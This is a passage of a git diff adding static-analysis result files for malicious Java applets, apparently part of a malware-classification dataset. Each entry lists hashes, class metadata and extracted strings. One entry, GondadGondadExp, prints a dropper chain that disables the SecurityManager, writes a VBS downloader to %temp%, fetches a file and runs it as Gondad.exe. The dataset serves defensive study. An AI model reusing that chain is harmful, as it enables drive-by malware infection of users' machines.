"java_malicious/c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2", "_id": "2b8643d5-0e89-46f4-aa36-46037b588048", "score": 0, "entropy": 5.4387180534017965, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2019, "ssdeep": "24:aYLwCFlC9yQulj/PQI1E31zuSawcMgF2uqgAe2bbdwjODoecXM0gftorXY8zOE9O:awayFlDPQdAwcMFgH2leO8LMMzyMYd", "sha256": "c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2", "md5": "005a3182a552e8ba9f724a76503216bf", "parent_sha256": "c26ac14aa45ca32508d5ed7bc976c0eaa35229e5aa2ed77a31d491172ea5c9e2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f.results b/java_classification/data/malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f.results new file mode 100755 index 0000000..476a9ae --- /dev/null +++ b/java_classification/data/malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "66ec9e2f-ded6-4dd2-9f2a-a54552ab1c07", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "smAcOxq5KPnhfDy3L", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo gond=\"smAcOxq5KPnhfDy3\">>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\smAcOxq5.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\smAcOxq5.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ce8997215f02cb47368f8092ce67c537e4d458b3", "file_name": "java_malicious/c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f", "_id": "66ec9e2f-ded6-4dd2-9f2a-a54552ab1c07", "score": 0, "entropy": 5.876693537687102, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/OB3pDhZ0A5bWoGPNFedXiDx0W6TIUdvXdGOiM89TAG8PnI:CzGlWB3pDv1WtNDO1TI6dIM89bUI", "sha256": "c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f", "md5": "b80838bf5eeebc475fce48861d5c9880", "parent_sha256": "c2dc59e69ac76c1ffd71b35f3044844db8011b838c75766eb732bfddef93fc2f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd.results b/java_classification/data/malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd.results new file mode 100755 index 0000000..5fa6bc4 --- /dev/null +++ b/java_classification/data/malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "GondadExx/Gond", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Unknown Source", "method_names": ["", "dwWork"], "minor_version": 0, "const_pool_count": 55}}, "_id": "ab24b971-5391-4c21-ab02-f05a4b60a33a", "verbose": {"java": {"constant strings": ["nXwvht6jFCrz7Yvvg", "GondadExx.ImageX", "bn", "si", "bs", "xiaomaolv"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bdc3700bc8d3a3c019fcae31f8d3cb3f3bea6f14", "file_name": "java_malicious/c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd", "_id": "ab24b971-5391-4c21-ab02-f05a4b60a33a", "score": 0, "entropy": 5.080700498260803, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 24547, "ssdeep": "384:8HyByRKHbjlSeJPjcv78N5m3vL5+7d2PWGndjJF89SdUlzbc/bH6F8:8HyBlHpJP4I494cWKVyEdUlzU6F8", "sha256": "c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd", "md5": "f7ddeae8afa50d785e91721c5d9e6d4d", "parent_sha256": "c2e99bcecf0fe9e7ebebc86de8bda6cf35c0c8f62b11c67644bc018906dde2cd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd.results b/java_classification/data/malicious/c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd.results new file mode 100755 index 0000000..d0dadde --- /dev/null +++ b/java_classification/data/malicious/c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/upkujalkrkkvwvdnur", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "bsapdhecqse", "edrbn", ""], "minor_version": 0, "const_pool_count": 1445}}, "_id": "6b66fe73-7583-4789-ad42-1fe188c5c4f9", "verbose": {"java": {"constant strings": ["j08kl8ykksgyfdccrgvdj", "u0mqv81l", "pptgdnk7v4y", "jzu52c6dqsgbbgs0dmqe", "42yenngt3ccwjbfalv3kbe3", "kub", "n8k", "s41uj8jn", "4q5s5hz7z55kq3j8c46bfdb4", "e5e1ktrsr504u6gcqqju6f", "jt1lj537", "2mu5k11qhcbccs", "6s62sgk53h3w26rtncq04faqqpzbqt", "26hssm8qhde7ng6m7zfl", "jtt8t3r4uznevlwhwf", "f6d7e7sttmryz887w31mmy8hlt", "n70rjvr", "03k1k3", "cg086r3fa7zrtl", "wcgzgkv44cejvcw6gl", "m6l3y67c1jk8t", "pef", "77674", "dv125pe", "2g152yetqujvbvnnpep4", "426853", "eahhg8epbc83", "6h53l", "g6cvsk", "msw2bef2ujaz5j8h4c3rmmfw83j", "p2ag3qetlra", "0n446uhj", "1ktd8ufqqbg75", "534608", "39039", "8ynvrl2htfmk7hevd3v3zg", "e00e", "3wu2dmt14u0jgn", "bpdq0055ha41l", "2b83efatfknca3d0sy0yz", "6t75rqzr4t85wv4hmkvc02t2se0zty", "7kztbpyr", "qteynzrfrwt3zuw67m1yeyzz8c", "wrub", "ag6u2", "qyeeb27y", "64d0avk81p0e7y0qrpuagyka8v5p", "hsyy2vh1w1glzgn2g5", "w3fqawufjjpw34dka05mdwt", "k5fvvan6ldk2sru01m8", "452786", "nbsf6ts7rnldga4us62qhcg7a246fk", "rk6uszqgf71szyqm", "rw6t0jc2hkmjj60wdadlrrqas", "ghsh7hdk", "087zgs2zcw1y85rjrqqdzjtbw73", "uvu07nzl5uwspspjgk", "1bear2ku4gadytlmr7fl4pj4l1dp", "wnnpqf", "a36sy88qaym", "w1spb8kccva1h4apzef", "6cnm7", "gat2y64m3reaavytv27yrarjdlkqe5skea", "ffhgk14zb0r", "yv4plu8s2yd5qzc", "4s3m784c65bu35wvaglzweg2ev", "qgpgqfq6w85g", "l678wu6salm", "jye05hqn5h0ldmpreysajdz", "d363me48gj0a", "yj44dqu68t", "bdmnql6p7qzqhcabrllp8k52wl2ecgc", "d2vqyufpfp3t", "c5f5q7", "z5m2754kebhg268", "a32rm6vb1pq2zw6bcyg4m7", "u0nk7yn2kz5", "tr1gl13cjs3re3zb", "e4ymlbhyqdz5e", "663482", "qfd26n1jucj33q", "h73pqd1af4h", "2awsyaafp81k4d0tc8gl8vpz77", "26lzh0zfcba0j", "52wrs", "ee3j1dpnberf85", "znsrcrkft1qtm", "art5", "h8k8v0gmzsez", "5ha2f885da4vf38j1w", "ll1my6s6v52l53fqpy5hgql8p5jz", "l8p23z0wqk5yycqksghf3u1mw3", "vm4v84m2u528au6mkb", "4644", "7rp5caj0d1cdache", "0zn", "15grhj01gquws6", "knc", "102901", "qgfef2paqdsvp", "176130", "w6ttppt5ala13cbe7p", "1218h0nvhbcf5", "e5u2j8324wg05s885dg4n1dcu6", "48ngk8d8dnsz", "4kgjpjyv6fzcau4", "cyvce3adrlbhqhv", "frvkennb8pey2t81b", "yyfc2gv0ad", "02vyb0e7", "zdma007qm18r48n3fe8wj1lpq", "dvjvlk1wnuus78n4w316", "17e0as38ndjc", "utpl", "rq32d2njdn4ra2mk66kmaspvh0qh30680v", "b52pjhlfvdt0vw0nrtwc4ftwh4", "848u6az", "yu1utqvqr2yrzdwa6gjbj8bc5k", "wat5e8d5j1jat3sy16616b", "50pfzu3edcsv", "1tasdjnbe32naye776tm688uf3u2utcs2", "514z5lua0mp", "253578", "1z32rulk", "204538", "g7k6m", "bk7r45ge11b", "dnr7lkhpe6cb2", "d0c3klfuep5dsyhgu10wmgt0c", "evwb2g5kzqmnmlfhrhymzc", "38000", "zre501y688ba7dhf75tt6y6", "wb33cpjskmgtwdmjc", "m3zwk", "jqkydwwwnjke", "e6fhlmb387vny54p57mh", "r0fz81g", "w50v4y6q", "tshr", "ffafwpbcgh5ek2ctnm5kratfw6z6", "vqv342yc5", "t3kp4z1lnzsw20wacumctle4u", "lf2e5ezsj54f0heglsapz10qk", "1q37asdtjym75fvskd7uc", "8wkt42s07hqvetffcavaj", "tsan8pcunjl3zhvdpzeeu", "els0y6k", "aucd7z5kafdfy2", "6be56sbp", "vuq31wwyrgsba8trhhuk52czzcjr55", "pb4dtmq7rzpb6cu", "unljgb3merw", "dnrwyrhts6tu47hwl2g", "2pfgqga56skphfyy", "zywqh1p6h", "vn5y7au", "225jqcvyevljffws", "bz3tqly24p4q2j88qfwacm", "uvgmyuyrh3wtqcv22ashj4rjh72rzw", "4qjczhnsgz68y0c4wnteztmt55ralt4pu", "glrq6zm", "s0s77pnbdhm2smtn22nlybnsa6pamms", "vj74csf3mkdku2bmlmjkm7gkmn", "7jvpnsnh2a62lmj1p", "6ws3v8m", "nkkf5j3", "k7pch005nvwwyjhd62", "nylssckdjm6gbq", "twlduktnnvln25qc", "62l", "blvflu25pr0lmftgwprth3h", "46jnehfsknjpm", "163", "zdqeqttl2na3b8", "bmrev7a84lcmqck728f4zkc2ssayp", "gycmfpfr2w"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "98820b04f8c5e2502ab69d5775ff9283772101bb", "file_name": "java_malicious/c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd", "_id": "6b66fe73-7583-4789-ad42-1fe188c5c4f9", "score": 0, "entropy": 6.383291613257268, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 17986, "ssdeep": "384:9EfvwZ2WDcUXFVHIA76+7lW1REserK9dY:9EXJNU1VHIAmEsecY", "sha256": "c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd", "md5": "1f5a6cc29659014d03679b2e6a18d475", "parent_sha256": "c315c15cc0c9e585a6d0c0ff786299c1c0bc6afacd74a09fa0543d159a689dfd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8.results b/java_classification/data/malicious/c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8.results new file mode 100755 index 0000000..87e58ce --- /dev/null +++ b/java_classification/data/malicious/c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "myfspgNF.java", "class_name": "myfspgNF", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "Uxiqt", ""], "minor_version": 0, "const_pool_count": 170}}, "_id": "827ef05b-dbb5-4e4e-b8f1-2284f40fcfde", "verbose": {"java": {"constant strings": ["6 1\\x16 &07,1<\\x08$+$\" 7", "/$3$k$21k,($\" k\\x01$1$\\x070## 7\\x07<1 ", "1717", "3\"10!6$", "6 1\\xc0\\x80) (", ",+1,+1", "/$3$k$21k,($\" k\\x01$1$\\x070## 7", "\\x11\\x1c\\x15\\xc0\\x80\\x1a\\x07\\x1c\\x11\\xc0\\x80", "/$3$k$21k,($\" k\\x080)1,\\x15,= )\\x15$&. !\\x16$(5) \\x08*! )", "/$3$k$21k,($\" k\\x17$61 7", "&7 $1 \\x127,1$\\') \\x17$61 7", "/$3$k$21k,($\" k\\x16$(5) \\x08*! )/$3$k$21k,($\" k\\x01$1$\\x070## 7/$3$k$21k\\x15*,+1", "/$3$k$21k,($\" k\\x0c+! =\\x06*)*7\\x08*! )", "/$3$k$21k\\x04)5-$\\x06*(5*6,1 ", "\\x167&", "*6k+$( ", "", "\\x08$&", "*6k$7&-", "sq"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4f5f24629c5f1611f8cef8d7ccb445da572467d", "file_name": "java_malicious/c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8", "_id": "827ef05b-dbb5-4e4e-b8f1-2284f40fcfde", "score": 0, "entropy": 2.3835422393694676, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 98076, "ssdeep": "384:NM7Sg2voctIn4iCrxfW5XfdnhdRGS0Ura2eTOaS4LQDd7hezqeQeFsy403m:wSgWon6rk5XfdxOUrBw0", "sha256": "c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8", "md5": "dbf881f2411905583b2b6de3f3a83e2a", "parent_sha256": "c4130b49370f6008da8057e2994b101b75374d92b2d08310d571f9782bd2a4c8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1.results b/java_classification/data/malicious/c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1.results new file mode 100755 index 0000000..2cd4e40 --- /dev/null +++ b/java_classification/data/malicious/c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Windows.java", "class_name": "RuntimeStreamers", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["", "contents", "run", "execute", "execute"], "minor_version": 0, "const_pool_count": 123}}, "_id": "ef469ebf-69d0-4857-a596-b48e07505391", "verbose": {"java": {"constant strings": ["", "\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4ba174193c69c6bb7c8fdcbc5cdf83890373ef2f", "file_name": "java_malicious/c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1", "_id": "ef469ebf-69d0-4857-a596-b48e07505391", "score": 0, "entropy": 5.376672431158314, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2228, "ssdeep": "48:MWfBlliZMY2sJHC0qFNFd7bXaRTIW3yzLnF:MoliZMAHCXKTIW3yzJ", "sha256": "c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1", "md5": "73f0cc905ddc6a7aa3ab5696342397ee", "parent_sha256": "c5c51e9cabcc858fa397e757bf69ab0527d101d459ee738da3d9d611d4476ca1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7.results b/java_classification/data/malicious/c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7.results new file mode 100755 index 0000000..a9e4085 --- /dev/null +++ b/java_classification/data/malicious/c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "b.java", "class_name": "b", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "main", "a", "b", "a", "a", "a"], "minor_version": 0, "const_pool_count": 431}}, "_id": "5eae7898-aed4-4e38-b553-24dc77f2eb9d", "verbose": {"java": {"constant strings": ["", "\\n", " ", "]12 H\\x134#x\\x01", "Xbv", "V8", ",", "P:\\'r", ".", "S:\\'r", "/", "R\\x14#sJ\\t?6/", "R\\x14)cT\\x105(tRR", "R\\x1c/bS\\x1c\"?/", "R2/nES4\\'t", "R5", "R8)sUS4\\'t", "R;", "<\\x15\\x15", "<\\xc0\\x80\\x16D`)\\x11", ">j\\x1a", "4<*eF\\x1cp\"rH\\x0b5", "\\t5+p\\x0e\\x19?%uL\\x18>2s\\x01U%(iYT", "\\t\"3e", "\\x08##r\\x0f\\x15?+e", "\\n9("]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3fb5bbb3e30ccc5fe2edf9b0300c99114acf5f53", "file_name": "java_malicious/c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7", "_id": "5eae7898-aed4-4e38-b553-24dc77f2eb9d", "score": 0, "entropy": 5.858108150953671, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 11618, "ssdeep": "192:n7lhGILWNKl/znhFsPo13YSqn4urmC2dk0AzyNnduXciUhlGIGDGLGWDWGFY9g:n7lhG5NKl/fXs4urJ2dzyyTuXtUhlGIF", "sha256": "c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7", "md5": "fb4cac3463b52d42aa635557d3e65684", "parent_sha256": "c609add7df10f51df91b0129da180a4b5d247600892567817a93da4606c580a7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff.results b/java_classification/data/malicious/c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff.results new file mode 100755 index 0000000..4f367d7 --- /dev/null +++ b/java_classification/data/malicious/c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "a1e6d2e9-ab16-4474-a191-79c986c1f242", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pL,PL,PL,PL,Pl,Pl,Pn,p9,yk,Ku,P5,Pe,Ps,oP,dL,ad,pu,Pg,pg,pL,K3,p6,ln,kR,PU,LN,Mn,kq,xW,Pm,Pq,mt,Lu,cR,TF,cL,VJ,Kl,3N,kb,HV,hL,Kl,7Q,z3,4b,yH,hL,Oe,Pe,Ps,08,bX,yQ,xP,oR,Nw,pe,P3,Xp,ut,2r,LR,M2,tK,Ot,VL,Ky,xK,XC,IS,0U,Ps,0l,Kz,ws,wO,pU,oU,P2,Uy,js,wr,wR,go,pe,ou,P3,EJ,ZN,kZ,OQ,Og,CJ,iK,1Z,LG,te,Qs,0s,0N,ki,Lp,Qr,rS,cU,8F,dw,qW,pe,Pk,OQ,FV,ls,jf,9p,Qv,2N,kT,Bf,31,SM,Pw,Kw,p2,Uj,Zm,Q3,Kk,LD,nB,ED,8a,u2,UG,sN,cj,KT,HM,Yu,So,7Q,SE,TV,NQ,u1,hb,EO,6G,3w,xe,Pq,KL,Jo,1U,TT,pK,8R,e5,Pt,sY,PR,pv,00,SR,wR,py,o6,62,0O,sK,HG,pS,EG,vR,JS,1r,si,o0,VV,dQ,J3,il,C8,Bw,t2,aM,PW,Jw,pq,en,TK,Op,Vw,xR,q1,FN,kt,55,lL,KT,47,EQ,h6,cJ,Ub,vn,kP,vU,pW,s8,uV,SK,ya,YQ,QN,M7,sY,Uv,Sk,kD,Oo,NB,0e,hY,bP,t5,Xk,qJ,kd,Mv,cJ,zS,pH,kJ,Q7,KU,OP,uk,Ws,nl,Ka,N5,tC,3y,Mq,vn,kT,Lp,KN,kc,nu,L7,s9,MN,kc,4N,kS,38,El,kQ,Nf,9O,3M,8w,pK,OK,OK,Ol,Np,ND,Nz,LL,Xi,nL,JD,NC,NJ,xz,Bs,C5,cx,Jl,JQ,K4,v6,z6,Or,Pp,DR,IQ,Wp,pG,pe,8D,4a,dr,Pf,ZF,Ov,Or,Ua,x2,L2,EQ,b3,Ut,nQ,s2,O2,MV,OP,i2,N1,vr,OV,Oq,cp,u2,NT,n3,X2,TP,mr,L6,OP,nV,PT,pV,RV,QF,Pt,vp,2v,P5,aw,Cp,0d,tP,rv,PP,4P,0f,Yq,Z0,1V,Q6,P6,Pd,p4,v4,pT,qs,bE,6U,hp,14,qP,8f,XU,2P,db,wv,Ru,fU,b4,qV,Yv,VW,Fu,5B,xe,he,5e,iv,Pu,5u,6F,Tt,xR,yc,Sg,Bp,8P,de,6t,yd,ps,RQ,JT,pT,qv,PV,P5,6v,PW,GV,PU,Ps,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cfe96b23cc42973902bab72d115a3079a394890e", "file_name": "java_malicious/c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff", "_id": "a1e6d2e9-ab16-4474-a191-79c986c1f242", "score": 0, "entropy": 6.152076328338693, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3298, "ssdeep": "96:6FlHLjwjlscJKzOrQ+EiTNNkez/j83Ifh:QlrjwBzJ0Ox37nr83Ip", "sha256": "c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff", "md5": "6be0958c12b386e019d3b07c09675bbe", "parent_sha256": "c68a68defa1d01bacce43bfaf9ffb4efebbc851e4d527a861ff72f5b89b594ff"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a.results b/java_classification/data/malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a.results new file mode 100755 index 0000000..0233c17 --- /dev/null +++ b/java_classification/data/malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DIAaB.java", "class_name": "DIAaB", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "nXtDwovUb", "udaaAMSH", "dgxzovz", "qssFRHb"], "minor_version": 0, "const_pool_count": 140}}, "_id": "3e05460f-9810-4a39-bec2-eb89b104ec9b", "verbose": {"java": {"constant strings": ["odsd+k`q+PWI", "ju`kVqw`dh", "odsd+lj+Cli`JpqupqVqw`dh", "rwlq`", "close", "`}`f", "w`bvsw67%(v%\\'", "\\'", "", "odsd+lj+qhualw", "+`}`"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "16cb7a75f7c2787373ff4a48b425f63d792dcee4", "file_name": "java_malicious/c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a", "_id": "3e05460f-9810-4a39-bec2-eb89b104ec9b", "score": 0, "entropy": 5.8441920064072495, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2759, "ssdeep": "48:Jg7lyFlGO/oydpT9rCCkjVQOFcAL626UR/mbJO1bmqI:JcwFlnr30j6jiAJO1bmb", "sha256": "c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a", "md5": "793cdbb0fec590b6461bc62708ad2e46", "parent_sha256": "c7616c1fba201f3b84041b6bb4012c9896753a38e8d8c6d42aa0dc30e1de198a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b.results b/java_classification/data/malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b.results new file mode 100755 index 0000000..a8c7df1 --- /dev/null +++ b/java_classification/data/malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "qjutgmqhtuypfjlmdspdbj.java", "class_name": "wjrqfstrvkwwtlg/qjutgmqhtuypfjlmdspdbj", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "1de1729f-e0e0-44cb-af65-821186996961", "verbose": {"java": {"constant strings": ["0f67085937", "0c0YXXr", "4b344e7a5e", "h4rhvBn", "407d", "zvunRe", "\\\\.", "5d", "WTQ8", "duFJfXw"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "085b7b53ebc85286af70a1cd784e8a667f53626d", "file_name": "java_malicious/c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b", "_id": "1de1729f-e0e0-44cb-af65-821186996961", "score": 0, "entropy": 5.638350270987431, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1597, "ssdeep": "24:HsSttsy8kAljlLckxbtUqN1bvgifbzChMBgEaGqrh9:vtsy8kAl5LrblgifbzCJJGqrh9", "sha256": "c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b", "md5": "4c6c47388dde2b3f4a8179df4baf47c6", "parent_sha256": "c838da38acece5e377c596e6aaff75e9e48cad2d16e2353258bfafafd1aa9f4b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008.results b/java_classification/data/malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008.results new file mode 100755 index 0000000..5bc042b --- /dev/null +++ b/java_classification/data/malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "x/b", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "a", "a"], "minor_version": 0, "const_pool_count": 93}}, "_id": "e85ea8b3-e5e7-47d8-aaa3-924739ead5f1", "verbose": {"java": {"constant strings": ["2HcC9Rd", "2h7IUz4cZt", "4RWNGEi", "CzRqqPAF73tVhh9", "GpzOfiPpo2N", "VF25H5S1iVOZcSfK", "VelCZ3rmaXGyYXEuyUN", "bebBIEh1Znulhc0", "gGzMtkQ6", "nFfk0U3gdcqq6M6D9A", "ofalhBM", "p.class", "q24or58zGf38sae7h", "ulRtXX", "vLlALfy3G", "x/", "yXhGRo1Tz23"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "13c5e00931339d2a6159b55be4813aa9acf781ba", "file_name": "java_malicious/c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008", "_id": "e85ea8b3-e5e7-47d8-aaa3-924739ead5f1", "score": 0, "entropy": 5.837593118529598, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1470, "ssdeep": "24:plY29wNSumXWIohy1TFxYOM8o7PzcWQDdjtOF9MNVaZfuMKNVo/osnf6/70HZWCk:p59hXWJh2YOhIPzcWQRtYMNU0/oZCIhk", "sha256": "c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008", "md5": "3b49a81c4fda1a310a825ffbc870a54c", "parent_sha256": "c8587977bacd53fb1b1af845d98677e732a56283b895153542914c2aac041008"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53.results b/java_classification/data/malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53.results new file mode 100755 index 0000000..00a2942 --- /dev/null +++ b/java_classification/data/malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53.results @@ -0,0 +1 